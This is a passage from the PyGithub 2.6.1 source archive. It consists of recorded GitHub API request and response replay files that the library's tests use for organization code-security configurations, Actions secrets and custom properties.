14Z","updated_at":"2024-12-10T06:05:14Z","pushed_at":"2024-12-10T06:05:14Z","git_url":"git://github.com/BeaverSoftware/test1.git","ssh_url":"git@github.com:BeaverSoftware/test1.git","clone_url":"https://github.com/BeaverSoftware/test1.git","svn_url":"https://github.com/BeaverSoftware/test1","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":false,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"private","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"AABH56PXTNYVFFCR57ULJETHLKDQA","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"BeaverSoftware","id":130614553,"node_id":"O_kgDOB8kFGQ","avatar_url":"https://avatars.githubusercontent.com/u/130614553?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","user_view_type":"public","site_admin":false},"network_count":0,"subscribers_count":0} https POST api.github.com None /orgs/BeaverSoftware/code-security/configurations/181720/attach {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"scope": "selected", "selected_repository_ids": [901148930]} 202 [('Date', 'Thu, 12 Dec 2024 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4859'), ('X-RateLimit-Reset', '1733988416'), ('X-RateLimit-Used', '141'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'A043:1F683C:264C0D:4C2462:675A85D4'), ('Server', 'github.com')] {} https GET api.github.com None /repos/BeaverSoftware/test1/code-security-configuration {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 12 Dec 2024 06:42:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ac438e227214ea4c58a4bb12f12d6f36e6e821956f05c3b073f05dfda7d8fad8"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4858'), ('X-RateLimit-Reset', '1733988416'), ('X-RateLimit-Used', '142'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'A045:25E224:27A1AF:4EABB8:675A85D5'), ('Server', 'github.com')] {"status":"attaching","configuration":{"id":181720,"target_type":"organization","name":"test1","description":"This is a description","advanced_security":"disabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"disabled","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"disabled","dependabot_security_updates":"disabled","code_scanning_default_setup":"disabled","code_scanning_default_setup_options":{"runner_type":"not_set","runner_label":null},"secret_scanning":"disabled","secret_scanning_push_protection":"disabled","secret_scanning_delegated_bypass":"disabled","secret_scanning_non_provider_patterns":"disabled","enforcement":"enforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/181720","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/edit/181720","created_at":"2024-12-12T06:42:27Z","updated_at":"2024-12-12T06:42:27Z","private_vulnerability_reporting":"disabled","secret_scanning_validity_checks":"disabled"}} https GET api.github.com None /repos/BeaverSoftware/test1/code-security-configuration {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 12 Dec 2024 06:42:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ac438e227214ea4c58a4bb12f12d6f36e6e821956f05c3b073f05dfda7d8fad8"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4857'), ('X-RateLimit-Reset', '1733988416'), ('X-RateLimit-Used', '143'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'A046:12605D:2926EE:51D780:675A85D5'), ('Server', 'github.com')] {"status":"attaching","configuration":{"id":181720,"target_type":"organization","name":"test1","description":"This is a description","advanced_security":"disabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"disabled","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"disabled","dependabot_security_updates":"disabled","code_scanning_default_setup":"disabled","code_scanning_default_setup_options":{"runner_type":"not_set","runner_label":null},"secret_scanning":"disabled","secret_scanning_push_protection":"disabled","secret_scanning_delegated_bypass":"disabled","secret_scanning_non_provider_patterns":"disabled","enforcement":"enforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/181720","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/edit/181720","created_at":"2024-12-12T06:42:27Z","updated_at":"2024-12-12T06:42:27Z","private_vulnerability_reporting":"disabled","secret_scanning_validity_checks":"disabled"}} https GET api.github.com None /repos/BeaverSoftware/test1/code-security-configuration {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 12 Dec 2024 06:42:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a2755946d001764ddf25f541b9351b3a1ea4aec520c66584e027c14984f75a72"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4856'), ('X-RateLimit-Reset', '1733988416'), ('X-RateLimit-Used', '144'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'A044:2C0CDF:2A4D75:540637:675A85D5'), ('Server', 'github.com')] {"status":"enforced","configuration":{"id":181720,"target_type":"organization","name":"test1","description":"This is a description","advanced_security":"disabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"disabled","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"disabled","dependabot_security_updates":"disabled","code_scanning_default_setup":"disabled","code_scanning_default_setup_options":{"runner_type":"not_set","runner_label":null},"secret_scanning":"disabled","secret_scanning_push_protection":"disabled","secret_scanning_delegated_bypass":"disabled","secret_scanning_non_provider_patterns":"disabled","enforcement":"enforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/181720","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/edit/181720","created_at":"2024-12-12T06:42:27Z","updated_at":"2024-12-12T06:42:27Z","private_vulnerability_reporting":"disabled","secret_scanning_validity_checks":"disabled"}} https DELETE api.github.com None /orgs/BeaverSoftware/code-security/configurations/detach {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"selected_repository_ids": [901148930]} 204 [('Date', 'Thu, 12 Dec 2024 06:42:30 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4855'), ('X-RateLimit-Reset', '1733988416'), ('X-RateLimit-Used', '145'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'A047:373DC3:2BC267:56FFA1:675A85D5'), ('Server', 'github.com')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateActionsSecret.txt0000644000175100001660000001701014756101563026153 0ustar00runnerdockerhttps GET api.github.com None /orgs/demoorg {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:38:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fdd3ad04d14a1c6deb0a4a1fbcc104a59889084ffa9e75d80a66f6b7a54ec074"'), ('Last-Modified', 'Wed, 17 Jan 2024 22:24:36 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1706834317'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDD0:6F665:EB314B6:ED7870E:65BC2B7D')] {"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","url":"https://api.github.com/orgs/demoorg","repos_url":"https://api.github.com/orgs/demoorg/repos","events_url":"https://api.github.com/orgs/demoorg/events","hooks_url":"https://api.github.com/orgs/demoorg/hooks","issues_url":"https://api.github.com/orgs/demoorg/issues","members_url":"https://api.github.com/orgs/demoorg/members{/member}","public_members_url":"https://api.github.com/orgs/demoorg/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":3,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/demoorg","created_at":"2024-01-17T20:14:26Z","updated_at":"2024-01-17T22:24:36Z","archived_at":null,"type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":5,"collaborators":0,"billing_email":"me@example.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":true,"members_allowed_repository_creation_type":"all","members_can_create_public_repositories":true,"members_can_create_private_repositories":true,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":2,"seats":0},"advanced_security_enabled_for_new_repositories":false,"dependabot_alerts_enabled_for_new_repositories":false,"dependabot_security_updates_enabled_for_new_repositories":false,"dependency_graph_enabled_for_new_repositories":false,"secret_scanning_enabled_for_new_repositories":false,"secret_scanning_push_protection_enabled_for_new_repositories":false,"secret_scanning_push_protection_custom_link_enabled":false,"secret_scanning_push_protection_custom_link":null,"secret_scanning_validity_checks_enabled":false} https GET api.github.com None /orgs/demoorg/actions/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:38:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"326d11de4f24fa979dbeeaee53a8d66cd9957752fc68342c1f9b9095f9f7c03b"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1706834317'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDD1:53734:E02874D:E26F579:65BC2B7D')] {"key_id":"3380204578043523366","key":"lEcXo0mlVf630hnPSTSCuXmGo2CxuIAKT7RRvZ1QjB4="} https PUT api.github.com None /orgs/demoorg/actions/secrets/secret_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "3380204578043523366", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b", "visibility": "all"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:38:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ef7d1a03b3332b83aecd008a006821ad3613d37a6ec742a794010bc2d93610cf"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1706834317'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'EDD2:39C98A:1E5CAD8:1EAD780:65BC2B7E')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateCodeSecurityConfigs.txt0000644000175100001660000001064714756101563027331 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/code-security/configurations {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "test1", "description": "This is a description"} 201 [('Date', 'Wed, 11 Dec 2024 06:20:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1035'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"f4b815f22240ed795f90e5051f7130187182a91533af980cd0682863ecbc0873"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('Location', 'https://api.github.com/orgs/BeaverSoftware/code-security/configurations/171827'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1733901073'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '2009:345DF0:4575CA:89DDE7:67592F2A'), ('Server', 'github.com')] {"id":171827,"target_type":"organization","name":"test1","description":"This is a description","advanced_security":"disabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"disabled","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"disabled","dependabot_security_updates":"disabled","code_scanning_default_setup":"disabled","code_scanning_default_setup_options":{"runner_type":"not_set","runner_label":null},"secret_scanning":"disabled","secret_scanning_push_protection":"disabled","secret_scanning_delegated_bypass":"disabled","secret_scanning_non_provider_patterns":"disabled","enforcement":"enforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/171827","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/edit/171827","created_at":"2024-12-11T06:20:26Z","updated_at":"2024-12-11T06:20:26Z","private_vulnerability_reporting":"disabled","secret_scanning_validity_checks":"disabled"} https DELETE api.github.com None /orgs/BeaverSoftware/code-security/configurations/171827 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Wed, 11 Dec 2024 06:20:26 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1733901073'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '200A:1701B2:3FA04B:7E2DCC:67592F2A'), ('Server', 'github.com')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateCustomProperties.txt0000644000175100001660000000465114756101563026743 0ustar00runnerdockerhttps PATCH api.github.com None /orgs/BeaverSoftware/properties/schema {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"properties": [{"property_name": "property_1", "value_type": "string", "required": false, "description": "description", "values_editable_by": "org_actors"}, {"property_name": "property_2", "value_type": "single_select", "required": true, "default_value": "bar", "description": "Lorem ipsum", "allowed_values": ["foo", "bar"], "values_editable_by": "org_and_repo_actors"}]} 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 01 Jun 2024 07:33:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3d31331d3fa84370e751e90afbe5f289af6035258b6504dad42bb3cfd77ae983"'), ('github-authentication-token-expiration', '2024-06-08 02:45:21 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'organization_custom_properties=admin'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4947'), ('X-RateLimit-Reset', '1717228808'), ('X-RateLimit-Used', '53'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CGNJ:L42SB3:M0O1IW:JEHZ3G:SUHX0TC4')] [{"property_name":"property_1","value_type":"string","required":false,"description":"description","values_editable_by":"org_actors"},{"property_name":"property_2","value_type":"single_select","required":true,"default_value":"bar","description":"Lorem ipsum","allowed_values":["foo","bar"],"values_editable_by":"org_and_repo_actors"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateCustomProperty.txt0000644000175100001660000000375114756101563026433 0ustar00runnerdockerhttps PUT api.github.com None /orgs/BeaverSoftware/properties/schema/property_1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"value_type": 